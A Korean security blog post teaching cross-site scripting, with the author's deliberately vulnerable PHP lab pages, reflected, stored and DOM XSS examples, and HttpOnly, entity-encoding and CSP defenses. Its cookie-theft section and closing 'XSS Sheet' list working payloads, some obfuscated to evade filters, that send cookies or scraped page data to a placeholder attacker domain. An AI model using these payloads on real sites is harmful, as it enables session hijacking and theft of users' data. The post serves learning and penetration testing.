[1]Introduction
Cross-Site-Script(XSS)란?
공격자가 악의적인 스크립트를 웹 페이지에 삽입하고 피해자(클라이언트)의 브라우저에서 작동되게 하는 취약점
-CSS가 아닌 이유는 Cascading Style Sheets와 겹치기 때문에 XSS를 사용합니다.
-공격자가 삽입하는 스크립트는 클라이언트 측에서 실행되는 스크립트로, 즉 이용자 브라우저에서 실행되는 HTML, CSS, Javascript를 말합니다.
-이 취약점은 주로 사용자 입력이 잘못 처리되거나 필터링되지 않을 때 발생하며, 이를 통해 공격자는 웹 애플리케이션의 관리자 등의 세션을 탈취하거나 이용자들에게 악의적인 링크를 제공할 수 있습니다.
*아래 예시문들은 CSP 적용 등을 제외하고 설명하는 글입니다.
알아야 하는 html 태그와 javascript
-결국 XSS는 js를 삽입하는 것이기 때문에, 아래의 문법은 알고 있어야 합니다.
-꼭 그런 것은 아니지만 html 페이지에서 js를 삽입하는 것이므로 <script></script> 같이 태그 안에 js를 작성합니다.
[1]alert(), confirm(), prompt()
-팝업으로 경고 표시가 뜹니다. XSS 가능성이 있는지 확인할 때 가장 많이 사용하는 함수입니다.
[2]console.log()
-브라우저에서 표시하는 페이지에 값을 표시합니다.
[3]btoa
-바이트 단위로 처리되는 이진 문자열을 base64 처리한 ascii 문자열로 변환합니다.
-btoa("string")으로 사용합니다.
[4]atob
-base64 처리한 ascii 문자열을 바이트 단위로 처리되는 이진 문자열로 변환합니다.
-atob("base64_encoded_string")으로 사용합니다.
[5]location.href="url" 와 location.replace("url")
-location 인터페이스는 현재 연결된 object의 위치를 나타냅니다.
-여기서 href 속성의 값은 갱신이 가능하며, 갱신시 제공된 URL로 이동합니다.
-replace도 같은 기능을 합니다.
<script>location.href="url";</script>
<script>location.replace("url");</script>
[6]function
-javascript의 함수 선언은 두 가지 방식으로 나눌 수 있습니다.
//ECMAScript 6 version
const func = (one, two) => {
let plus_r = one + two;
alert(plus_r);
}
func(3, 5);
//ECMAScript 5 version
function func(one, two)
{
let plus_r = one + two;
alert(plus_r);
}
func(10, 3);
[7]loops
//for loop
for (i=1; i<=100; i++) {
console.log(`your number is ${i}`);
}
//for of
let arr = ['abc' ,'def', 'ghi'];
for(let element of arr){
console.log(element);
}
//for in
let score_board = {name:"kim", score:"88"}
for(let x in info){
console.log(x + " : " + score_board[x]);
}
//while loop
var i = 0;
while (i < 10) {
console.log(i++);
}
//do while loop
var x = 100;
do {
console.log(x--);
} while (x == 0);
[8]XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://somewebsite.xyz/userpage', true);
xhr.onload = function() {
if (xhr.status === 200) {
console.log('서버 응답:', xhr.responseText);
var data = JSON.parse(xhr.responseText);
} else {
console.error('요청 실패. 상태 코드:', xhr.status);
}
};
xhr.send();
[9]DOM
-DOM(Document Object Model)은 HTML 문서의 프로그래밍 interface 역할을 하며, Javascript와 같은 프로그래밍 언어가 DOM 구조에 접근할 수 있는 방법을 제공하여 문서 구조, 스타일, 내용 등을 변경할 수 있게 해줍니다.
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>
-위 스크립트는 DOM 조작에 대한 직관적인 예시입니다.
-이 같은 스크립트가 어떠한 웹 페이지 소스코드에 작성되어 있다고 할 때, 위 스크립트는 서버에서 처리되는 것이 아닌 사용자의 브라우저에서 문서가 생성될 때 실행됩니다.
-search라는 파라미터의 값을 query라는 변수에 저장하고, 만약 query가 있다면 이를 document.write를 통해 이미지를 삽입합니다.
document.getElementByID('Name_of_ID'); // Grabs the element with the ID name from the connected HTML file
document.getElementByClassName('Name_of_Class'); // Grabs the element with the class name from the connected HTML file
document.getElementByTagName('Name_of_Tag'); // Grabs a specific tag name from the connected HTML file
//https://tryhackme.com/r/room/javascriptbasics
-위 구문은 DOM 조작에 대한 스크립트들입니다.
-document.getElementsByName('id')[0]로 name 속성이 'id'인 태그의 첫 번째 결과를 가져오고 그 결과에 대한 다른 속성들을 .element로 참조하는 것을 볼 수 있습니다.
-예시의 마지막 document.getElementById('signup-btn').textContent는 <button....>Sign up</button>의 내용 Sign up을 조회하는 과정을 보여주고 있습니다.
*DOM에 대한 참고
-https://developer.mozilla.org/ko/docs/Web/API/Document_Object_Model/Introduction
[10]Event Handler
-Javascript에는 특정 이벤트가 발생하면 실행시킬 구문을 표시하는 Event Handler가 존재합니다.
<img src="./img/img_box/png" onload=alert('picture upload!')>
-위 사진의 onload는 사진이 업로드될 경우 picture upload!이 내용인 alert 경고창을 띄우는 Event Handler입니다.
onclick: 사용자가 특정 요소를 클릭하면 작동
onmouseover: 사용자의 마우스 포인터가 특정 요소 위로 이동할 때 작동
onload: 어떤 요소가 로드된 경우 작동
onerror: 에러가 발생할 시 작동
onfocus: 특정 요소가 포커스될 경우(마우스로 클릭 등) 작동, 태그에 autofocus를 삽입하고 사용하기도 함
[11]주소창 변조
-아래의 스크립트를 사용하면, URL의 path 부분을 3번째 인자값으로 변경할 수 있습니다.
<script>history.pushState(null, null, 'test');</script>
-원래의 url이 https://testdomain.com/fpath 였다면, 위의 스크립트가 실행된 후의 url은 https://testdomain.com/test 로 변경됩니다.
-시각적으로만 변하는 것이며, DOM은 원래의 url을 사용합니다.
[2]Reconnaissance
XSS 발생 원인
XSS가 발생하는 시나리오는 굉장히 많습니다.
-불충분한 입력값 검증 및 sanitization: bracket(< >), single quote('), double quote(") 등을 HTML Entity로 치환하지 않은 경우
-잘못 사용된 Security Header : CSP 같은 헤더의 범위가 잘못된 경우, 취약점이 발생
*CSP: https://developer.mozilla.org/ko/docs/Web/HTTP/CSP
컨텐츠 보안 정책 (CSP) - HTTP | MDN
콘텐츠 보안 정책 (CSP)는 교차 사이트 스크립팅(XSS)과 데이터 주입 공격을 비롯한 특정 유형의 공격을 탐지하고 완화하는 데 도움이 되는 추가 보안 계층입니다. 이러한 공격은 데이터 절도에서
developer.mozilla.org
-프레임워크 자체에 대한 취약점: 오래된 프레임 워크거나 아직 XSS 패치가 되지 않은 경우
XSS 탐지순서
1)입력 데이터가 그대로 사용되는 곳 확인
2)특수문자(< > ' ") 필터링 혹은 HTML Entity 치환 확인
3)alert 스크립트 구문 필터링 혹은 HTML Entity 치환 확인
4)사용할 스크립트 삽입
XSS 종류
XSS 공격의 종류는 크게 3가지로 구분됩니다.
[1]Reflected XSS : user의 브라우저에서 바로 반영되는 입력값등에 의존한 XSS
-사용자가 조작 가능한 입력값이 url 파라미터 데이터에 삽입할 수 있는 GET 요청 메소드로 데이터를 받는 곳에서 발생합니다. 공격자는 이메일이나 메세지, 댓글 기능 등을 이용하여 악의적인 스크립트를 포함한 링크를 정상적인 이용자에게 보내고, 이용자가 이를 클릭하면 스크립트가 실행되어 공격을 수행할 수 있습니다. 서버는 입력값을 동적으로 처리하므로, 즉시 반영되고 나중에 사라지는 특성을 가집니다. 악성 스크립트의 경우 아래와 같은 url을 가지며, url를 변형하거나 축소하는 과정을 거친 후 공유됩니다.
*URL로 전송할 때 ......"+document.cookie;.. 같이 '+'를 사용하는 경우, %2B를 '+'대신 사용해야 URL 인코딩과정에서 '+'로 해석합니다. URL Encoding 기준에서 '+'는 공백으로 해석되기 때문입니다.
<?php
.....//mysql 설정, session 설정 등
$search_user = isset($_GET['user']) ? $_GET['user'] : '';
$stmt = $db_conn->prepare("SELECT id FROM users where id=?"); //doesn't safe XSS
$stmt->bind_param("s", $search_user);
$stmt->execute();
$result = $stmt->get_result();
$row=$result->fetch_assoc();
if($db_conn->affected_rows == 0){
$info = "{$search_user}?\nWho are you..?";
}
else{
$info = "{$row['id']}'s page";
}
...
?>
<!DOCTYPE html>
<html lang="en">
<head>
....
</head>
<body>
<h1><?php echo nl2br($info)?></h1>
</body>
</html>
-위는 제가 만든 이용자 정보 조회 페이지입니다. user 파라미터로 값을 받으며, 해당 값을 where id="입력값"으로 하여 db에 select query로 조회한 결과가 있다면 "결과's page"를 출력하고, 그렇지 않은 경우 "입력값"? Whoe are you..? 를 출력하도록 했습니다. 따라서 입력한 값은 결과가 없는 경우 직접 삽입됩니다.
-특수문자(< " ' >)이 추가되어 있는 값 <"good'>을 삽입한 경우의 mypage.php 요청과 응답입니다. 특수문자에 대한 치환이나 필터링이 없기 때문에, 입력값이 그대로 삽입되는 것을 볼 수 있습니다.
-bracket(< >)이나 single quote('), double quote(") 등이 그대로 삽입되므로 <script>alert(1)</script> 를 삽입한다면 구문이 실행될 것입니다. 만약 여기에 alert(1)이 아닌 쿠키를 탈취하거나 키로거를 삽입하는 등의 악의적인 구문을 삽입하는 등 다양한 기능을 수행할 수 있기 때문에 치명적인 공격으로 이어질 수 있습니다.
-이 XSS 공격은 위에서 설명한 것처럼 URL의 파라미터와 그 값을 전송하여 수행하고 있습니다. 따라서 아래와 같은 url 형태로 만들 수 있으며, 이를 클릭한다면 alert(1) 구문이 바로 실행되게 됩니다.
http://mypage.cfg/lab/mypage.php?user%3Cscript%3Ealert(1)%3C/script%3E
[2]Stored XSS : 사용자가 입력한 데이터가 서버의 데이터 베이스 등에 저장되고, 이후 다른 사용자에게 보여질 때 악의적인 스크립트가 실행되는 XSS
-예를 들어, 게시글, 댓글, 메세지 등에 악의적인 스크립트를 저장하였다가, 이용자가 페이지에 접근하게 되면 악성 스크립트가 실행되고 공격에 성공하는 매커니즘입니다. 이런 형태의 XSS는 공격자가 한 번의 악의적인 입력을 통해 여러 사용자에게 영향을 미칠 수 있으며, 피해를 입은 데이터는 지속적으로 악용될 수 있습니다.
<?php
.....//mysql 설정, session 설정 등
$idx = isset($_GET['idx']) ? (int)$_GET['idx'] : 0;
$stmt = $db_conn->prepare("SELECT * FROM board WHERE idx=?");
$stmt->bind_param("i", $idx);
$stmt->execute();
$result = $stmt->get_result();
$row=$result->fetch_assoc();
...
?>
<!DOCTYPE html>
<html lang="en">
<head>
....
</head>
<body>
...
<h3><?php echo htmlspecialchars($row['title']); ?></h3>
<p>writer: <?php echo htmlspecialchars($row['username']); ?></p>
<p>view count: <?php echo $row['view']; ?></p>
<p><?php echo nl2br($row['content']); ?></p>
</body>
</html>
-위는 제가 만든 게시판 페이지입니다.board_write.php에서 글을 작성하고, board_view.php에서 이를 볼 수 있습니다.
-코드는 board_view.php의 코드로 htmlentities 함수 없이 바로 저장된 제목과 내용을 출력하고 있습니다.
-특수문자(< " ' >)가 포함된 입력값도 그대로 삽입됩니다.
-bracket(< >)이나 single quote('), double quote(") 등이 그대로 삽입되므로 <script>alert(1)</script> 를 삽입한다면 구문이 실행될 것입니다. Stored XSS는 위 예시처럼 어떤 곳(DB 등)에 악의적인 스크립트를 저장했다가 이용자가 이 곳에 접근하면 스크립트를 실행하는 형태의 XSS입니다.
[3]DOM Based XSS : 사용자의 클라이언트 단인 브라우저에서 DOM 조작에 의해 발생하는 XSS로 형태는 Reflected XSS처럼 URL 접속 방식을 사용하나, 악의적인 입력값이 서버에서 처리되는 것이 아닌 브라우저에서 처리된다는 것이 차이점
-예를 들어 URL의 fragment 부분에 대한 값을 처리하는 과정에서 발생되는 XSS나, 새로운 태그를 생성하는 기능에서 발생되는 XSS가 있습니다.
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>
-위 스크립트는 document.write 를 통해 img 태그를 DOM 안에 추가하는 구문으로 서버에서 실행되는 것이 아닌 클라이언트 단인 브라우저에서 실행됩니다. 만약 어떤 페이지에 이 스크립트가 추가되어 있고, search 파라미터 값에 x" onerror="alert(1)" name="a를 삽입한다면, alert(1)이 실행되게 됩니다. 여기에 alert(1) 대신 악의적인 스크립트를 삽입하여 다양한 공격을 할 수 있습니다.
XSS 악의적 활용법
모의해킹에서 XSS를 진단할 때, alert으로 경고창을 띄워 임의적인 코드가 실행됨을 표시하기 때문에, 위협적으로 보이지 않지만 javascript 구문을 마음대로 삽입할 수 있는 만큼 활용도의 범위가 넓습니다.
[1]탈취
1)쿠키 탈취
-XSS 취약점의 대표적인 목적 중 하나입니다.
-cookie는 추가적인 검증없이 신원을 확인할 수 있는 방식이므로, cookie를 탈취하게 되면 다른 사람의 신원으로 위조할 수 있게됩니다.
<!--send cookie-->
<script>
var cookieData = document.cookie;
var attacker_URL = "http://attacker_domain/getinfo.php?cookie=
new Image().src = attacker_URL + cookieData;
</script>
<!--send cookie2-->
<img src=x onerror=location.href="http://attacker_domain/getinfo.php?cookie="+document.cookie;>
<script>location.href="http://attacker_domain/getinfo.php?cookie="+document.cookie</script>
-위와 같은 스크립트들은
2)정보 탈취
-이용자의 정보를 조회할 수 있는 마이페이지처럼 중요한 정보를 가져오는 공격 방식입니다.
-기본적으로 그 정보에 대한 DOM 접근 방식을 알아야 합니다.
-예시로 워 게임 Steal Info write up을 통해 설명하겠습니다.
*Steal Info write up: https://x4uiry.tistory.com/48
-가져올 정보인 "This is a Very Secret Info"의 태그를 개발자도구 등을 이용해 조회합니다.
-"This is a Very Secret Info"는 Class 이름이 'card-text'인 2번째 값의 textContent 입니다.
-이를 상황에 맞게 XSS Sheet의 페이로드를 활용하여 공격자의 서버로 전송합니다.
[2]Keylogging
-keylogging은 사용자의 키보드 입력을 공격자의 서버에 저장하는 공격방식으로, XSS로 keylogger를 심고 사용자가 이에 접근하게 되면 keylogging을 할 수 있습니다.
[3]Phishing
-Phishing의 대표적인 예시 중 하나는 location.href 등을 사용하여 정상 페이지인척하는 악성 사이트(예를 들면 로그인 폼)에 사용자를 접속시키고, 여기에 ID, 비밀번호 등 중요한 정보를 입력하게 하여 정보를 탈취하는 시나리오있습니다.
[3]How to prevent?
Cookie: HttpOnly
-XSS의 대표적인 목적인 쿠키 탈취를 막기 위해 사용되는 옵션으로 HttpOnly가 true 경우, 자바스크립트를 통한 쿠키 접근이 차단됩니다.
-하지만 Ajax 통신을 하는 기능이 있을 때, 여기에 쿠키값을 같이 전송해야한다면 Ajax 또한 자바스크립트이므로 이 방법을 사용할 수 없습니다. 따라서 HttpOnly는 XSS는 간접적인 보안 보강 방법으로 아래의 HTML Entity가 더 필수적인 예방법입니다.
HTML Entity 치환
-bracket(< >), single quote('), double quote(")는 XSS를 발생시키기 위한 대표적인 입력값들입니다.
-HTML Entity 치환은 위의 입력값과 같은 모양이지만 다른 문자열로 치환시키는 방법으로, 예를 들어 '<' 을 입력했다고 가정한다면 이를 < 로 치환하여 페이지에 표시할시, 페이지에는 '<'로 나타나지만 실제 입력값은 <인 방식입니다.
*https://developer.mozilla.org/ko/docs/Glossary/Entity
엔터티 (Entity) - MDN Web Docs 용어 사전: 웹 용어 정의 | MDN
HTML **엔터티(Entity)**는 앰퍼샌드(&)로 시작하고 세미콜론(;)으로 끝나는 텍스트 조각('문자열')입니다. 엔터티는 예약된 문자(HTML 코드로 해석됨)와 보이지 않는 문자(예, 줄바꿈 없는 공백)를 표시
developer.mozilla.org
Filtering
-XSS의 대응방안에 대한 답이 단순한 필터링이라면 조금 애매한 답변이 될 수 있습니다.
-필터링은 특정 단어를 입력을 막는 블랙 리스트 기반 필터링과 특정 단어만 허용하는 화이트 리스트 기반 필터링을 사용하고 있습니다.
-이때 단순히 XSS를 막는다고 블랙 리스트 기반 필터링을 사용하여 script, onerror, onfocus 등등을 막는다고 하더라도 우회기법이 존재할 가능성이 있으므로 안전하지 않습니다.
Content Security Policy
-XSS나 데이터를 삽입하는 류의 공격이 발생하였을 때 피해를 줄이고 웹 관리자가 공격 시도를 보고 받을 수 있도록 새롭게 추가된 보안 계층으로, 웹 페이지에서 사용하는 자원의 위치나 출처 등에 제약을 걸 수 있습니다. HTML Entity 치환과 병행하여 사용하면 효과적으로 XSS 공격의 난이도를 높일 수 있습니다.
*CSP : https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
Content Security Policy (CSP) - HTTP | MDN
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft, to site defaceme
developer.mozilla.org
[4]XSS Sheet
site1 -> go(site2 with data)
#XSS
<script>alert(1);</script>
<script>location.href="url"+document.cookie;</script>
<script>location.replace("url"+document.cookie);</script>
<script>location.href="url".concat(document.cookie);</script>
<script>
new Image().src="url"+document.cookie;
</script>
<sCrIpt src=data:,alert(document.cookie)></SCRipt>
<sCrIpt src=data:;base64,YWxlcnQgKGRvY3VtZW50LmNvb2tpZSk7></SCRipt> //document.cookie
<script>this['al'+'ert']((({'\u0063ookie':x})=>x)(self['\x64ocument']))</script>
#script tag delay
<script>
window.addEventListener('DOMContentLoaded', function(){
alert(1);
});
</script>
<script>
setTimeout(function(){
alert(1);
}, 1000);
</script>
#img tag
<img src=x onerror="alert(1)">
<img src=x onerror='location.href="url"+document.cookie';>
<img src=x onerror='location.replace("url"+document.cookie)';>
#input tag
<input name="mal" id="mul" class="mel" autofocus onfocus="alert(1)"/>
#video tag
<video><source onerror="alert('1')"/></video>
#body tag
<body onload="alert('1')"/>
#iframe tag
<iframe src=jaVaSCRipt:alert(parent.document.cookie)></iframe>
<iframe srcdoc="<img src='' onerror=alert(parent.document.cookie)>"></iframe>
...update...
go(site1) -> data & go(site2 with data)
//fetch -> img src
<script>
fetch('https://{data_site}')
.then(response => response.text())
.then(html => {
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let data = doc.getElementById('search_info'); //Change it to the information you're looking for
var i = new Image();
i.src = "https://{attacker_domain}/?data="+data;
})
</script>
<script>
fetch('https://{data_site}')
.then(response => response.text())
.then(html => {
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let data = doc.doc.getElementById('userInfo'); //Change it to the information you're looking for
location.replace('https://{attacker_domain}/?data='+data);
})
</script>
//iframe -> extract data -> img.src or location.href or location.replace or fetch...
<iframe src="https://{data_site}" id="target"></iframe>
<script>window.addEventListener('DOMContentLoaded', function(){
var targetTag = document.getElementById('target');
var data = targetTag.contentDocument.getElementById("userInfo"); //Change it to the information you're looking for
var i = new Image();
i.src = "https://{attacker_domain}/?data="+data;});
</script>
<iframe src="https://{data_site}" id="target"></iframe>
<script>window.addEventListener('DOMContentLoaded', function(){
var targetTag = document.getElementById('target');
var data = targetTag.contentDocument.getElementById("userInfo"); //Change it to the information you're looking for
location.href = "https://{attacker_domain}/?data="+data;});
</script>
참고출처
*https://tryhackme.com/r/room/javascriptbasics
*https://tryhackme.com/r/room/axss
'knowledge > web' 카테고리의 다른 글
NO-SQL Injection (1) | 2024.12.14 |
---|---|
Athentication&Athorization Vulnerability (0) | 2024.08.01 |
File vulnerability (0) | 2024.07.29 |
SQL Injection (0) | 2024.05.09 |
Solar, exploiting log4j - Tryhackme (0) | 2024.04.29 |